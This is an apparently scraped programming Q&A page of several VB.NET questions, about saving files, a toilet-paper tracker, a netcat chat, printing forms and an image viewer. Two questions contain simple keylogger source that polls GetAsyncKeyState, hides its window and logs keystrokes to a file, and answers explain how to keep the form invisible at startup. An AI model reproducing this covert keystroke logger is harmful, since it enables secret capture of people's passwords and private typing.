How to save the output of a program to a text document? - vb.net

I'm using visual studio 2013. Now I'm making a very simple keylogger to save the keys pressed by the user. And they are shown in a "richtextbox". I want to save the things shown in the richtextbox to a text document using visual studio 2013.
Here is the code of my keylogger.
Imports System.Net.Mail
Public Class Form1
Dim result As Integer
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Int32) As Int16
Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
For i = 1 To 255
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
RichTextBox1.Text = RichTextBox1.Text + Chr(i)
End If
Next i
End Sub
Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
Me.Hide()
Me.Visible = False
End Sub
End Class
I tried to save using this code.
Dim fileName As String = IO.Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "output.txt")
Dim data As New List(Of String)
If IO.File.Exists(fileName) Then
data = IO.File.ReadAllLines(fileName).ToList
data.AddRange(RichTextBox1.Lines)
Else
data = RichTextBox1.Lines.ToList
End If
IO.File.WriteAllLines(fileName, data.ToArray)
But when i open the text document "output.txt", nothing can be seen inside that although all the keys I pressed are in the richtextbox.

Related

Saving and reading files on Visual basic

Hi I'm creating a "Toilet paper tracker" on visual basic and I'm struggling with saving and reading files, I know I am missing stuff. The user should be able to login and input a threshold and when reached a warning will pop up saying "buy more toilet paper" (i haven't coded this yet) and the user can add to create a total and subtract from it too. The user should also be able to save the total to a file and I want the program to be able to read the file and change the total if the user wants to add or subtract again. It would be greatly appreciated if you pointed me in the right direction, I'm only young so it's relatively simple. Here is my program :)
Imports System.IO
Public Class frmTPT
Private Sub TPT_Load(sender As Object, e As EventArgs) Handles MyBase.Load
Call loadchangetotal()
End Sub
Sub loadchangetotal()
cboChange.Items.Add("Add to Total")
cboChange.Items.Add("Subtract from Total")
End Sub
Private Sub cboVenue_SelectedIndexChanged(sender As Object, e As EventArgs) Handles cboChange.SelectedIndexChanged
If cboChange.Text = "Add to Total" Then
Dim frmChangeACopy As New frmChangeA
frmChangeACopy.Show()
Me.Hide()
ElseIf cboChange.Text = "Subtract from Total" Then
Dim frmChangeSCopy As New frmChangeS
frmChangeSCopy.Show()
Me.Hide()
End If
End Sub
Private Sub btnReturn_Click(sender As Object, e As EventArgs)
Dim frmLoginCopy As New frmLogin
frmLoginCopy.Show()
Me.Hide()
End Sub
Private Sub btnClear_Click(sender As Object, e As EventArgs) Handles btnClear.Click
txtThreshold.Text = ""
cboChange.Text = ""
txtTotal.Text = ""
End Sub
Private Sub ExitToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles ExitToolStripMenuItem.Click
End
End Sub
Private Sub LogoutToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles LogoutToolStripMenuItem.Click
Dim frmLoginCopy As New frmLogin
frmLoginCopy.Show()
Me.Hide()
End Sub
Private Sub btnReadTotal_Click(sender As Object, e As EventArgs) Handles btnReadTotal.Click
Dim FileReader As StreamReader
Dim result As DialogResult
result = OpenFileDialog1.ShowDialog
If result = DialogResult.OK Then
FileReader = New StreamReader(OpenFileDialog1.Filename)
txtFileContent.Text = FileReader.ReadToEnd() 'i want to be able to read a
'previously saved total so that
FileReader.Close() 'it can be used to find the new total
'after it has been added to
End If 'or subtratced
End Sub
Private Sub SaveToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles SaveToolStripMenuItem.Click
Call SaveFile()
End Sub
Private Sub btnDisplay_Click(sender As Object, e As EventArgs) Handles btnDisplay.Click
Dim A, S, NewTotal As Integer
A = Val(frmChangeA.txtAdd.Text)
S = Val(frmChangeS.txtSubtract.Text)
NewTotal = A - S 'I want to be able to load a previously saved total if one exists and add and
'subtract from it
End Sub
End Class
Sub SaveFile()
Dim FileWriter As StreamWriter
Dim results As DialogResult
results = SaveFileDialog1.ShowDialog
If results = DialogResult.OK Then
FileWriter = New StreamWriter(SaveFileDialog1.FileName, False)
FileWriter.Write(txtFileContent.Text) ' is txtFileContent supposed to be
' the name of my textbox?
FileWriter.Close()
End If
End Sub
Design
You didn't mention if you were using .Net Core or 4.x. If the later, you can sometimes use the Insert Snippet functionality to learn how to do common tasks. For example in this case you could right click in the code editor and select Insert Snippet then Fundamentals then File System and finally Write text to a file. This will result in the following VB code:
My.Computer.FileSystem.WriteAllText("C:\Test.txt", "Text", True)
Unfortunately, this option doesn't work with .Net core since the My namespace wasn't ported to core.
The key point of this problem lies in reading and writing data from text. It is a clear idea to write two methods to achieve read and write.
You can refer to the following code. The two methods in the following example are WriteTotal(), ReadTotal().
Design:
Public Class Form1
Dim Oldtotal As Integer
Dim Newtotal As Integer
Private Sub btnLoadTotal_Click(sender As Object, e As EventArgs) Handles btnLoadTotal.Click
WriteTotal()
ReadTotal()
End Sub
Private Sub btnUpdateTotal_Click(sender As Object, e As EventArgs) Handles btnUpdateTotal.Click
cboChange.Text = Nothing
WriteTotal()
ReadTotal()
MsgBox("Inventory updated")
End Sub
Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
cboChange.SelectedIndex = 0
ReadTotal()
End Sub
Sub WriteTotal()
Using swriter As IO.StreamWriter = New IO.StreamWriter("D:/paperstore.txt", False, System.Text.Encoding.UTF8)
If cboChange.Text = "Add to Total" Then
Newtotal = Oldtotal + CType(txtThreshold.Text, Integer)
swriter.WriteLine(Newtotal)
ElseIf cboChange.Text = "Subtract from Total" Then
If CType(txtThreshold.Text, Integer) > Oldtotal Then
swriter.WriteLine(Oldtotal)
MsgBox("buy more toilet paper")
Else
Newtotal = Oldtotal - CType(txtThreshold.Text, Integer)
swriter.WriteLine(Newtotal)
End If
Else
swriter.WriteLine(txtTotal.Text)
End If
End Using
End Sub
Sub ReadTotal()
Using sreader As IO.StreamReader = New IO.StreamReader("D:/paperstore.txt", System.Text.Encoding.UTF8)
Try
Oldtotal = sreader.ReadLine()
txtTotal.Text = Oldtotal
Catch ex As Exception
MsgBox(ex.Message)
End
End Try
End Using
End Sub
End Class

VB.net difficulty in using RedirectStandardInput for my program

I am trying to make a simple chat program in vb using netcat. Here is my code
Public Class Form1
Dim p As New Process
Dim pstrt As New System.Diagnostics.ProcessStartInfo
Private Sub Button1_Click(sender As System.Object, e As System.EventArgs) Handles Button1.Click
Go()
End Sub
Sub Go()
pstrt.FileName = "cmd.exe"
pstrt.Arguments = "/c nc -l -p1234"
pstrt.UseShellExecute = False
pstrt.RedirectStandardOutput = True
pstrt.RedirectStandardInput = True
AddHandler p.OutputDataReceived, AddressOf yo
p.StartInfo = pstrt
p.Start()
p.BeginOutputReadLine()
End Sub
Sub yo(ByVal sender As Object, ByVal e As DataReceivedEventArgs)
UpdateTextBox(e.Data)
End Sub
Private Delegate Sub UpdateTextBoxDelegate(ByVal Text As String)
Private Sub UpdateTextBox(ByVal tot As String)
If Me.InvokeRequired Then
Dim delgt As New UpdateTextBoxDelegate(AddressOf UpdateTextBox)
Dim args As Object() = {tot}
Me.Invoke(delgt, args)
Else
RichTextBox1.Text &= tot & Environment.NewLine
End If
End Sub
Private Sub Button2_Click(sender As System.Object, e As System.EventArgs) Handles Button2.Click
'Shell(TextBox1.Text)
'Console.WriteLine(TextBox1.Text)
p.StandardInput.WriteLine(TextBox1.Text)
End Sub
End Class
The form has a richtextbox, a textbox and two buttons.
The problem is that:
when using redirectstandardinput, the received text is not displayed in richtextbox but the sent text can be viewed by the receiver.
when I don't redirectstandardinput then the received text is displayed in the richtextbox but the sent text cannot be viewed by the receiver.
I have also tried to use the commented code (for button2 click code) to use to send text when not using redirectstandardinput.
For me, your code is working correctly without changes, with
pstrt.RedirectStandardOutput = True
pstrt.RedirectStandardInput = True
See the screenshot:
I guess your problem can be with netcat.
Try with simple commands first like seen on the sample.
Try on another machine. I tested on Windows 8.0, .NET 4.0.

Printing vb.net forms with a loop

Hi I am tring print multiple copies of box labels that are on a form using vb.net
the copies will depent on the amount of boxes on the job and will range from 1 to 500 copies.
I would like to print these but also print a choosen box number if required.
Can any one help as all my attempts have failed.
The problem is it captures the screen including msgboxs of what is currenting being printed or done and calls them all document 1. Is there a simple way to print without screen capture.
here is my code at the moment
Imports System
Imports System.Windows.Forms
Imports System.Drawing
Imports System.Drawing.Printing
Public Class print
Inherits Form
Private WithEvents printButton As New Button
Private WithEvents printDocument1 As New PrintDocument
Dim memoryImage As Bitmap
Private Sub CaptureScreen()
Dim myGraphics As Graphics = Me.CreateGraphics()
Dim s As Size = Me.Size
memoryImage = New Bitmap(s.Width, s.Height, myGraphics)
Dim memoryGraphics As Graphics = Graphics.FromImage(memoryImage)
memoryGraphics.CopyFromScreen(Me.Location.X, Me.Location.Y, 0, 0, s)
End Sub
Private Sub printDocument1_PrintPage(ByVal sender As System.Object, _
ByVal e As System.Drawing.Printing.PrintPageEventArgs) Handles _
printDocument1.PrintPage
e.Graphics.DrawImage(memoryImage, 0, 0)
End Sub
Private Sub printButton_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles printButton.Click
Dim numberofboxes As Integer = 3
Dim startbox As Integer = 1
Dim counter As Integer = 1
For index As Integer = startbox To numberofboxes
CaptureScreen()
printDocument1.Print()
lblFirstBoxPrint.Text = counter
counter = counter + 1
printDocument1.PrinterSettings.PrintToFile = True
printDocument1.PrinterSettings.PrintFileName = "C:\Users\Joseph\Desktop\test '" & counter & "'.xps"
printDocument1.Print()
Next
End Sub
Public Shared Sub Main()
Application.Run(New print())
End Sub
Private Sub print_Load(sender As Object, e As EventArgs) Handles MyBase.Load
printButton.Text = "Print Form"
Me.Controls.Add(printButton)
End Sub
End Class
If you desire to actually print your form, as it appears on screen, consider the built-in PrintForm Component. After adding the component, and setting properties, printing is a one line process.
PrintForm1.Print()
See this MSDN tutorial for further details.

How to hide vb form on startup?

I am trying to hide the main form on startup, but for some reason I am failed to do that. In the following code I have created a button that hides the form, but I want to hide the form on load. Please help me out. Thanks in advance.
Option Strict On
Public Class Form1
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Long) As Integer
Private Sub timerKeys_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles timerKeys.Tick
Dim result As Integer
Dim key As String
Dim i As Integer
For i = 2 To 90
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
tbLog.Text = tbLog.Text + Chr(i)
If i = 13 Then key = vbNewLine
Exit For
End If
Next i
If key <> Nothing Then
If My.Computer.Keyboard.ShiftKeyDown OrElse My.Computer.Keyboard.CapsLock Then
tbLog.Text = key
Else
tbLog.Text = key.ToLower
End If
End If
If My.Computer.Keyboard.CtrlKeyDown AndAlso My.Computer.Keyboard.AltKeyDown AndAlso key = "z" Then
Me.Show()
End If
End Sub
Private Sub btnHide_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnHide.Click
Me.Hide()
End Sub
Private msg As String = ""
Private Sub timerSave_Tick() Handles timerSave.Tick
My.Computer.FileSystem.WriteAllText("D:\log.txt", tbLog.Text, True)
tbLog.Clear()
End Sub
Private Sub Form1_FormClosed(ByVal sender As Object, ByVal e As System.Windows.Forms.FormClosedEventArgs) Handles Me.FormClosed
tbLog.Text &= vbNewLine & "Closed at:" & Now & vbNewLine
'My.Computer.FileSystem.WriteAllText("D:\log1.txt", tbLog.Text, True)
timerSave_Tick()
End Sub
Private Sub Form1_Load(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Load
tbLog.Text = " Started at :" & Now & vbNewLine
End Sub
Public Sub store(ByVal s As String)
End Sub
End Class
If you don’t want to display a form at startup then the solution is to change the startup method for your project rather than trying to hide the form.
In the application settings, disable “Application framework” and set the startup object to Sub Main rather than a form object. Then write an appropriate Sub Main entry point in a module.
The MSDN has more information (although some of the infos given in this article are grossly misleading).
Just enter paste this in the beginning of your form.
Protected Overrides Sub SetVisibleCore(ByVal value As Boolean)
If Not Me.IsHandleCreated Then
Me.CreateHandle()
value = False
End If
MyBase.SetVisibleCore(value)
End Sub
more information is available at:
How to have an invisible start up form? by Hans Passant
Best,
When you go the the code tab, right under it is a listbox. select "(form1 events)". after you have done that, right next to it is another listbox. Put that textbox on "Load". a new event is created. That event is started when the program starts. Put in this event: me.visible = false. This should do it.

VB.NET PictureBox scroll through images in a folder

I have a pictureBox on my form along with two buttons (Back and Forward) but I can not find a viable method of doing what I wish to do: Scrolling through images in a folder like the default Windows Picture Viewer does with Arrow Keys.
Is there an efficient way to do this?
I'm using Visual Basic .NET with Visual Studio 2010, if that matters.
You'll need to load the pictures using DirectoryInfo, then browse through them with an index. Here is an example:
Public Class Form1
Private files As List(Of FileInfo)
Private currentFileIndex As Integer
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
RefreshFolder("c:\path\to\your\pictures")
End Sub
Private Sub backButton_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles backButton.Click
Advance(-1)
ShowCurrentFile()
End Sub
Private Sub forwardButton_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles forwardButton.Click
Advance(1)
ShowCurrentFile()
End Sub
Private Sub Advance(ByVal delta As Integer)
currentFileIndex = ((currentFileIndex + files.Count) + delta) Mod files.Count
End Sub
Private Sub RefreshFolder(ByRef path As String)
Dim di As DirectoryInfo = New DirectoryInfo(path)
files = (From c In di.GetFiles()
Where IsFileSupported(c)
Select c).ToList()
If files.Count > 0 Then
currentFileIndex = 0
End If
ShowCurrentFile()
End Sub
Private Sub ShowCurrentFile()
If currentFileIndex <> -1 Then
Try
PictureBox1.Image = Image.FromFile(files(currentFileIndex).FullName)
Catch ex As Exception
' TODO: handle exceptions gracefully
Debug.WriteLine(ex.ToString)
End Try
End If
End Sub
Private Function IsFileSupported(ByRef file As FileInfo) As Boolean
Return file.Extension = ".jpg" Or file.Extension = ".png" ' etc
End Function
End Class
you should be more specific.
if it will help you you have to create two subrotines that assign the next and pervious image to the picture box and triggier these subrotines on the key down events and the bottons clicks.